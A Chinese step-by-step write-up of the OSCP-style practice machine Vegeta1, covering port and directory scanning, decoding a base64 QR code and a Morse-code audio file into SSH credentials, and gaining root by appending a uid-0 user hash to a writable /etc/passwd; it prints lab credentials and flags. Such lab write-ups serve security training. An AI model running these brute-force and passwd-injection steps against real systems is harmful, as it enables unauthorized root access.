当前位置: 首页 > news >正文

OSCP系列靶场-Esay-Vegeta1保姆级

OSCP系列靶场-Esay-Vegeta1保姆级

目录

  • OSCP系列靶场-Esay-Vegeta1保姆级
    • 总结
    • 准备工作
    • 信息收集-端口扫描
      • 目标开放端口收集
      • 目标端口对应服务探测
    • 信息收集-端口测试
      • 22-SSH端口的信息收集
        • 22-SSH端口版本信息与MSF利用
        • 22-SSH协议支持的登录方式
        • 22-SSH手动登录尝试(无)
        • 22-SSH弱口令爆破(待定)
      • 80-HTTP端口的信息收集
        • 信息收集-HTML隐藏信息查看
        • 信息收集-目录扫描
          • 信息收集-目录扫描初步
        • 信息收集-目录访问
          • /robots.txt端点访问
          • /find_me/端点访问
          • /admin/端点
          • 其他端点
        • find_me.html加密信息破解
      • 信息再收集
        • 新端点/bulma/
    • 漏洞利用-getwebshell
      • 已知密码-SSH用户爆破(失败)
      • 破译莫斯密码
      • 22-SSH账号密码登录
    • 内网遨游-getshell
      • FLAG1获取
      • 信息收集-内网基础信息收集
        • 检测Linux操作系统的发行版本
        • 检测Linux操作系统的内核版本
        • 检测当前用户的权限
        • 列举出所有的sudo文件
        • su弱密码尝试(失败)
        • 列举出所有suid文件
        • /etc/passwd权限收集
        • /etc/shadow权限收集
        • getcap标志进程收集
        • 列举定时任务
        • 查看历史信息
        • 确认/home目录下信息
      • 权限提升
        • 可写etc/passwd提权
      • FLAG2获取
    • 后记

总结

getwebshell : 目录扫描 → 发现音频 → 莫斯密码 → 解密得到账号密码 → ssh登录

提 权 思 路 : history发现线索 → /etc/passwd属主权限 → 写入root权限的账号密码 → 登录提权

准备工作

  • 启动VPN
    获取攻击机IP → 192.168.45.239

  • 启动靶机
    获取目标机器IP → 192.168.172.73

信息收集-端口扫描

目标开放端口收集

  • Nmap开放端口扫描2次(多次扫描减少误扫)
sudo nmap --min-rate 10000 -p- 192.168.172.73PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http


开放的端口->22,80

目标端口对应服务探测

# tcp探测
sudo nmap -sT -sV -O -sC -p22,80 192.168.172.73PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))

信息收集-端口测试

22-SSH端口的信息收集

22-SSH端口版本信息与MSF利用

通过Nmap探测获得SSH的版本信息,可以尝试利用
探测版本为OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)

# 搜索对应脚本
msf6 > searchsploit openssh 7.9

22-SSH协议支持的登录方式

通过Nmap探测获得SSH的版本信息,在获取到某个用户名之后尝试

sudo ssh root<span class="label label-primary">@192.168.172.73</span> -v

显示publickeypassword就是支持密钥以及密码登录

22-SSH手动登录尝试(无)

因为支持密码登录,尝试root账户的密码弱密码尝试

sudo ssh root<span class="label label-primary">@192.168.172.73</span> -p 22
# 密码尝试
password &gt; root

弱密码尝试失败

22-SSH弱口令爆破(待定)

如果没思路的话,准备sshroot账户爆破

80-HTTP端口的信息收集

访问 http://192.168.172.73:80 不是CMS我们直接从HTML隐藏信息收集开始

信息收集-HTML隐藏信息查看

# 包括文章中是否写明一些敏感信息
curl http://192.168.172.73:80

个人色彩浓厚,可能用户与King Vegeta有关

信息收集-目录扫描

信息收集-目录扫描初步
# 用两个扫描器进行扫描,更加的谨慎一些
dirsearch -u http://192.168.172.73:80 -x 302,403,404
dirb http://192.168.172.73:80


因为扫出了目录,深层次的扫描待选

信息收集-目录扫描(后缀)
信息收集-目录扫描(深度/大字典)
信息收集-目录扫描(深度/大字典后缀)

信息收集-目录访问

/robots.txt端点访问

发现新的入口 /find_me

┌──(root㉿Kali)-[/home/bachang/Vegeta1]
└─# curl http://192.168.172.73/robots.txt
*
/find_me
/find_me/端点访问

发现是目录遍历

┌──(root㉿Kali)-[/home/bachang/Vegeta1]
└─# curl http://192.168.172.73/find_me/   ...
<h1>Index of /find_me</h1>
...

存在 find_me.html


访问 find_me.html发现提示Vegeta-1.0


尝试搜索msf没有任何收获
也对 Vegeta 是动漫角色,猜测是否是其他提示

┌──(root㉿Kali)-[/home/bachang/Vegeta1]
└─# searchsploit Vegeta                                 
Exploits: No Results
Shellcodes: No Results

查看HTML发现隐藏内容,是加密代码

curl http://192.168.172.73/find_me/find_me.html

/admin/端点

在该端点下发现一个php文件


访问无任何内容

其他端点

其他端点内容是空

find_me.html加密信息破解

因为看到了两个等号,猜测是bas64编码

echo 'aVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQU1nQUFBRElD.....GQUFBQUFFbEZUa1N1UW1DQw==' | base64 -d &gt; main.txt

访问之后发现还是看不懂,在没有其他线索的情况下,推测存在二次加密


看起来两串代码差不多,尝试再次base64解密
这次解密之后发现开头是png内容看不懂,说明是图片格式


转换成图片进行查看

mv main1.txt main.jpg

打开发现是二维码

二维码本质上是url,利用二维码转url的工具
百度上搜了一个 https://www.jzx.com/decode
得到了密码topshellv

Password : topshellv

信息再收集

尝试爆破获取的密码失败,决定利用更大的字典进行目录扫描

gobuster dir -u  http://192.168.172.73:80/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -e &gt; go.txt

爆破输出到go.txt发现一个新的端点

新端点/bulma/

访问发现得到了一个.wav格式内容


通常是音频文件


下载下来

┌──(root㉿Kali)-[/home/bachang/Vegeta1]
└─# wget 192.168.172.73/bulma/hahahaha.wav 
--2023-07-31 13:45:21--  http://192.168.172.73/bulma/hahahaha.wav
正在连接 192.168.172.73:80... 已连接。
已发出 HTTP 请求,正在等待回应... 200 OK
长度:236124 (231K) [audio/x-wav]
正在保存至: “hahahaha.wav”


浅浅的听了一下,本来以为是英文听不懂,结果就像暗号

对<(^-^)>谍战片的摩斯密码
访问https://morsecode.world/international/decoder/audio-decoder-adaptive.html将音频上传

// 得到了信息
U S E R : T R U N K S P A S S W O R D : U S 3 R  S I N D O L L A R S S Y M B O L )

漏洞利用-getwebshell

已知密码-SSH用户爆破(失败)

推测获取的密码可以登录ssh尝试爆破

# -L 指定账号字典 -P指定密码字典
hydra -L /usr/share/wordlists/metasploit/unix_passwords.txt -p topshellv -t 6 -vV 192.168.172.73 ssh -s 22

破译莫斯密码

22-SSH账号密码登录

将密码大致解密

U S E R : T R U N K S P A S S W O R D : U S 3 R  S I N D O L L A R S S Y M B O L )
------
user: trunkspassword:us3rsindollarssymbol
------猜测
user: trunks
password:us3r
sindollarssymbol

sindollarssymbol百度半天说的是sin dollars symbol


先不管获取账号密码之后利用SSH进行登录,发现错误

sudo ssh trunks<span class="label label-primary">@192.168.172.73</span> -p22
password &gt; us3r

尝试替换成新加坡币符号将s替换为$

sudo ssh trunks<span class="label label-primary">@192.168.151.73</span> -p22
password &gt; u$3r

成功登录 这里重启了一下靶场 ip变成了192.168.151.73

内网遨游-getshell

FLAG1获取

trunks<span class="label label-primary">@Vegeta</span>:~$ find / -name local.txt 2&gt;/dev/null
/home/trunks/local.txt
trunks<span class="label label-primary">@Vegeta</span>:~$ cat /home/trunks/local.txt
45274fd8969e954aa6a0416012e34589

信息收集-内网基础信息收集

提权的本质在于枚举,在获取shell之后我们要进行内网信息的收集,都是为了提权做准备

检测Linux操作系统的发行版本

较老的Ubuntu以及Linux系统可以overlayfs提权

# 确定发行版本
trunks<span class="label label-primary">@Vegeta</span>:~$ lsb_release -a
No LSB modules are available.
Distributor ID: Debian
Description:    Debian GNU/Linux 10 (buster)
Release:        10
Codename:       buster

发行版本为Debian,不太能overlayfs提权

检测Linux操作系统的内核版本

较低的内核版本可以进行脏牛提权

trunks<span class="label label-primary">@Vegeta</span>:~$ uname -a
Linux Vegeta 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64 GNU/Linux

内核版本为4.19.0

检测当前用户的权限

trunks<span class="label label-primary">@Vegeta</span>:~$ id
uid=1000(trunks) gid=1000(trunks) groups=1000(trunks),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth)

列举出所有的sudo文件

查找具有sudo权限,且不需要密码的可提权文件
如果发现sudo -l有东西的话 访问 https://gtfobins.github.io 寻找

# 利用sudo -l寻找
trunks<span class="label label-primary">@Vegeta</span>:~$ sudo -l
-bash: sudo: command not found

发现不存在sudo

su弱密码尝试(失败)

su
password → root

列举出所有suid文件

如果发现u=s有东西的话 访问 https://gtfobins.github.io 寻找

# -perm 文件权限
trunks<span class="label label-primary">@Vegeta</span>:~$ find / -perm -u=s -type f 2&gt;/dev/null
/usr/bin/su
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/mount
/usr/bin/fusermount
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper

/etc/passwd权限收集

如果/etc/passwd具有写入权限可以尝试覆盖密码提权

trunks<span class="label label-primary">@Vegeta</span>:~$ ls -al /etc/passwd
-rw-r--r-- 1 trunks root 1486 Jun 28  2020 /etc/passwd

/etc/shadow权限收集

  • 如果/etc/shadow具有写入权限可以尝试覆盖密码提权
  • 如果/etc/shadow具有可读权限可以爆破密码
trunks<span class="label label-primary">@Vegeta</span>:~$ ls -al /etc/shadow
-rw-r----- 1 root shadow 976 Aug  4  2020 /etc/shadow

getcap标志进程收集

高版本下suid列举不全,查看getcap

# 探查有CAP_SETUID标志的进程
trunks<span class="label label-primary">@Vegeta</span>:~$ /usr/sbin/getcap -r / 2&gt;/dev/null
/usr/bin/ping = cap_net_raw+ep

列举定时任务

查找所有的定时任务,并且查看定时任务是否具有修改权限

# 寻找定时任务并修改进行提权
cat /etc/crontab

查看历史信息

可能用户留下的历史信息具有有用的信息

trunks<span class="label label-primary">@Vegeta</span>:~$ history1  perl -le ‘print crypt(“Password<span class="label label-primary">@973″,”addedsalt”)#CTL{n}</span>    2  perl -le 'print crypt("Password<span class="label label-primary">@973</span>","addedsalt")'3  echo "Tom:ad7t5uIalqMws:0:0:User_like_root:/root:/bin/bash" &gt;&gt; /etc/passwd[/sh]4  echo "Tom:ad7t5uIalqMws:0:0:User_like_root:/root:/bin/bash" &gt;&gt; /etc/passwd5  ls6  su Tom7  ls -la8  cat .bash_history 9  sudo apt-get install vim10  apt-get install vim11  su root12  cat .bash_history 13  exit

确认/home目录下信息

trunks<span class="label label-primary">@Vegeta</span>:~$ ls -al /home
total 12
drwxr-xr-x  3 trunks trunks 4096 Aug 12  2020 trunks

权限提升

可写etc/passwd提权

通过history的信息我们可以知道tom的密码应该是Password<span class="label label-primary">@973被写入到了/etc/passwd中,我们尝试切换用户

su Tom
→ Password<span class="label label-primary">@973#CTL{n}su</span>: user Tom does not exist

提示说Tom用户不存在

# 发现确实没有Tom
cat /etc/passwd | grep Tom

那么根据提示我是否可以写入/etc/passwd

echo "Tom:ad7t5uIalqMws:0:0:User_like_root:/root:/bin/bash" &gt;&gt; /etc/passwd

提权成功

# 登录Tom账户
trunks<span class="label label-primary">@Vegeta</span>:~$ su Tom
Password: 
root<span class="label label-primary">@Vegeta</span>:/home/trunks# id
uid=0(root) gid=0(root) groups=0(root)
root<span class="label label-primary">@Vegeta</span>:/home/trunks# 

FLAG2获取

root<span class="label label-primary">@Vegeta</span>:/home/trunks# cat /root/proof.txt
3295b595dffaab97e16918dfbf4d11de


完结撒花~

后记

这个没仔细看的内容回来思考一下

trunks<span class="label label-primary">@Vegeta</span>:~$ ls -al /etc/passwd
-rw-r--r-- 1 trunks root 1486 Jun 28  2020 /etc/passwd

显示了文件的权限为 -rw-r--r--,所有者为 trunks,所属组为 root
简称属于root组(属主) 之后看到这种情况要注意

学到了s$之间的替换与莫斯密码的破译

相关文章:

OSCP系列靶场-Esay-Vegeta1保姆级

OSCP系列靶场-Esay-Vegeta1保姆级 目录 OSCP系列靶场-Esay-Vegeta1保姆级总结准备工作信息收集-端口扫描目标开放端口收集目标端口对应服务探测 信息收集-端口测试22-SSH端口的信息收集22-SSH端口版本信息与MSF利用22-SSH协议支持的登录方式22-SSH手动登录尝试(无)22-SSH弱口令…...

AJAX学习笔记9 搜索联想自动补全

AJAX学习笔记8 跨域问题及解决方案_biubiubiu0706的博客-CSDN博客 其实就一个功能 搜索联想 自动补全 键盘按下事件keydown 键盘弹起事件keyup 做模糊查询 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><t…...

Docker启动失败报错Failed to start Docker Application Container Engine解决方案

Docker启动失败报错Failed to start Docker Application Container Engine解决方案_天涯人6的博客-CSDN博客...

安装React脚手架

在安装React脚手架之前&#xff0c;你需要决定使用哪个包管理工具。这里我们选择使用npm。运行下面的命令来安装React脚手架&#xff1a; npm install -g create-react-app这个命令会在全局安装React脚手架工具create-react-app。 现在&#xff0c;你已经准备好创建一个新的R…...

想要精通算法和SQL的成长之路 - 受限条件下可到达节点的数目

想要精通算法和SQL的成长之路 - 受限条件下可到达节点的数目 前言一. 相交链表&#xff08;邻接图和DFS&#xff09; 前言 想要精通算法和SQL的成长之路 - 系列导航 一. 相交链表&#xff08;邻接图和DFS&#xff09; 原题链接 public int reachableNodes(int n, int[][] ed…...

加快项目开发进度常用5种方法

项目进度管理是根据进度目标&#xff0c;制定合理的进度计划&#xff0c;全程监控项目进度的执行情况。这样有利于明确项目目标&#xff0c;协调团队行动&#xff0c;提高开发效率&#xff0c;从而最大化项目利益。而加快项目进度&#xff0c;有利于提高项目整体效率&#xff0…...

leetcode做题笔记136. 只出现一次的数字

给你一个 非空 整数数组 nums &#xff0c;除了某个元素只出现一次以外&#xff0c;其余每个元素均出现两次。找出那个只出现了一次的元素。 你必须设计并实现线性时间复杂度的算法来解决此问题&#xff0c;且该算法只使用常量额外空间。 思路一&#xff1a;快排&#xff08;…...

vuex 模拟异步调用

在页面中首先定义一个调用vuex异步函数的方法 <el-button click fetchData></el-button> {{asyncData}} vuex 中 const store new Vuex.Store({state: {asyncData: null,},mutations: {SET_ASYNC_DATA(state, data) {state.asyncData data;},},actions: {fe…...

error:Failed building wheel for XXX

解决方案适用于大多数的pip 安装时出现的Failed building wheel for XXX 出现问题 按以往快速安装包的经验&#xff0c;第一反应当然是使用简单又快捷的terminal命令加上镜像&#xff0c;如下&#xff1a; pip install torch -i https://pypi.tuna.tsinghua.edu.cn/simple结…...

【linux命令讲解大全】112.Linux 系统管理工具:dpkg-statoverride 和 dstat 的使用介绍

文章目录 dpkg-statoverride补充说明语法选项实例 dstat补充说明下载安装方法一方法二 使用说明语法常用选项实例 从零学 python dpkg-statoverride 在 Debian Linux 中覆盖文件的所有权和模式。 补充说明 dpkg-statoverride 命令用于在 Debian Linux 中覆盖文件的所有权和模…...

ffmpeg草稿

avformat 用于解析容器和协议(protocol)。 avcodec 用于编码和解码基本流(您已经拥有的)。 Qt/C音视频开发44-本地摄像头推流&#xff08;支持分辨率/帧率等设置/实时性极高&#xff09;_feiyangqingyun的博客-CSDN博客 void FFmpegThread::initInputFormat() {//本地摄像头/桌…...

熵 | 无线通信知识

文章目录 一、信息论&#xff08;熵、联合熵、条件熵&#xff09;二、Bernoulli熵三、联合熵和条件熵四、互信息五、相对熵(KL距离)六、微分熵七、最大熵分布常需要的不等式公式 一、信息论&#xff08;熵、联合熵、条件熵&#xff09; 熵定义&#xff1a; H ( X ) E [ − l …...

黑马JVM总结(七)

&#xff08;1&#xff09;StringTable_编译器优化 “a”“b”对应#4&#xff1a;是去常量池中找ab的这个符号 astore 5&#xff1a;是把这个存入编号为5的局部变量 “ab”对应的指令 #4&#xff0c;跟“a”“b”对应#4下面弄是一样的 在执行s3“ab”这行个代码时&#xf…...

Vue3核心语法一

Vue3核心语法一 rectiveshallowReactiverefcomputedwatchwatchEffet 使用Vue3创建项目template中标签可以多个根标签,可以通过setup开启组合式API,组合式API优点可以使相同业务放到一起 rective 定义响应式数据, import { reactive} from "vue";const data reactiv…...

5.11.Webrtc接口的设计原理

在上节课中呢&#xff0c;我向你介绍了web rtc的接口宏&#xff0c;那有很多同学会产生疑问啊&#xff0c;那觉得web rtc为什么要把接口设计的这么复杂&#xff1f;还非要通过宏来实现一个代理类&#xff0c;再通过代理类来调用到web rtc内部。 那为什么要这么设计呢&#xf…...

2022年09月 C/C++(八级)真题解析#中国电子学会#全国青少年软件编程等级考试

C/C++编程(1~8级)全部真题・点这里 第1题:道路 N个以 1 … N 标号的城市通过单向的道路相连:。每条道路包含两个参数:道路的长度和需要为该路付的通行费(以金币的数目来表示) Bob and Alice 过去住在城市 1.在注意到Alice在他们过去喜欢玩的纸牌游戏中作弊后,Bob和她分手…...

Vue3 监听属性-watch

文章目录 Vue3 监听属性-watch1. 概念2. 实例2.1 通过使用 watch 实现计数器2.2 千米与米之间的换算2.3 异步加载中使用 watch2.4 小计 Vue3 监听属性-watch 1. 概念 Vue3 监听属性 watch&#xff0c;可以通过 watch 来响应数据的变化。 watch 的作用&#xff1a;用于监测响应…...

JWT安全

文章目录 理论知识cookie(放在浏览器)session(放在 服务器)tokenjwt&#xff08;json web token&#xff09;headerpayloadSignatureJWT通信流程 JWT与Token 区别相同点区别 WebGoat靶场--JWT tokens环境启动第四关第五关第七关 属于越权漏洞 理论知识 cookie(放在浏览器) ​…...

LabVIEW利用人工神经网络辅助进行结冰检测

LabVIEW利用人工神经网络辅助进行结冰检测 结冰对各个领域构成重大威胁&#xff0c;包括但不限于航空航天和风力涡轮机行业。在起飞过程中&#xff0c;飞机机翼上轻微积冰会导致升力降低25%。研究报告称&#xff0c;涡轮叶片上的冰堆积可在19个月的运行时间内造成29MWh的功率损…...

Linux安装MySQL8.0

又又又又..Linux装MySQL。 删除原有的MySQL 查看安装的mysql信息&#xff1a;rpm -qa|grep -i mysql 删除mysql相关服务&#xff1a;rpm -e --nodeps 查询mysql遗留文件和依赖信息&#xff1a;find / -name mysql 手动删除mysql配置文件&#xff1a;rm -rf /etc/my.cnf 相关…...

网络六边形受到攻击

大家读完觉得有帮助记得关注和点赞&#xff01;&#xff01;&#xff01; 抽象 现代智能交通系统 &#xff08;ITS&#xff09; 的一个关键要求是能够以安全、可靠和匿名的方式从互联车辆和移动设备收集地理参考数据。Nexagon 协议建立在 IETF 定位器/ID 分离协议 &#xff08;…...

测试微信模版消息推送

进入“开发接口管理”--“公众平台测试账号”&#xff0c;无需申请公众账号、可在测试账号中体验并测试微信公众平台所有高级接口。 获取access_token: 自定义模版消息&#xff1a; 关注测试号&#xff1a;扫二维码关注测试号。 发送模版消息&#xff1a; import requests da…...

Flask RESTful 示例

目录 1. 环境准备2. 安装依赖3. 修改main.py4. 运行应用5. API使用示例获取所有任务获取单个任务创建新任务更新任务删除任务 中文乱码问题&#xff1a; 下面创建一个简单的Flask RESTful API示例。首先&#xff0c;我们需要创建环境&#xff0c;安装必要的依赖&#xff0c;然后…...

在鸿蒙HarmonyOS 5中实现抖音风格的点赞功能

下面我将详细介绍如何使用HarmonyOS SDK在HarmonyOS 5中实现类似抖音的点赞功能&#xff0c;包括动画效果、数据同步和交互优化。 1. 基础点赞功能实现 1.1 创建数据模型 // VideoModel.ets export class VideoModel {id: string "";title: string ""…...

相机Camera日志实例分析之二:相机Camx【专业模式开启直方图拍照】单帧流程日志详解

【关注我&#xff0c;后续持续新增专题博文&#xff0c;谢谢&#xff01;&#xff01;&#xff01;】 上一篇我们讲了&#xff1a; 这一篇我们开始讲&#xff1a; 目录 一、场景操作步骤 二、日志基础关键字分级如下 三、场景日志如下&#xff1a; 一、场景操作步骤 操作步…...

线程与协程

1. 线程与协程 1.1. “函数调用级别”的切换、上下文切换 1. 函数调用级别的切换 “函数调用级别的切换”是指&#xff1a;像函数调用/返回一样轻量地完成任务切换。 举例说明&#xff1a; 当你在程序中写一个函数调用&#xff1a; funcA() 然后 funcA 执行完后返回&…...

【解密LSTM、GRU如何解决传统RNN梯度消失问题】

解密LSTM与GRU&#xff1a;如何让RNN变得更聪明&#xff1f; 在深度学习的世界里&#xff0c;循环神经网络&#xff08;RNN&#xff09;以其卓越的序列数据处理能力广泛应用于自然语言处理、时间序列预测等领域。然而&#xff0c;传统RNN存在的一个严重问题——梯度消失&#…...

有限自动机到正规文法转换器v1.0

1 项目简介 这是一个功能强大的有限自动机&#xff08;Finite Automaton, FA&#xff09;到正规文法&#xff08;Regular Grammar&#xff09;转换器&#xff0c;它配备了一个直观且完整的图形用户界面&#xff0c;使用户能够轻松地进行操作和观察。该程序基于编译原理中的经典…...

【从零学习JVM|第三篇】类的生命周期(高频面试题)

前言&#xff1a; 在Java编程中&#xff0c;类的生命周期是指类从被加载到内存中开始&#xff0c;到被卸载出内存为止的整个过程。了解类的生命周期对于理解Java程序的运行机制以及性能优化非常重要。本文会深入探寻类的生命周期&#xff0c;让读者对此有深刻印象。 目录 ​…...

在Mathematica中实现Newton-Raphson迭代的收敛时间算法(一般三次多项式)

考察一般的三次多项式&#xff0c;以r为参数&#xff1a; p[z_, r_] : z^3 (r - 1) z - r; roots[r_] : z /. Solve[p[z, r] 0, z]&#xff1b; 此多项式的根为&#xff1a; 尽管看起来这个多项式是特殊的&#xff0c;其实一般的三次多项式都是可以通过线性变换化为这个形式…...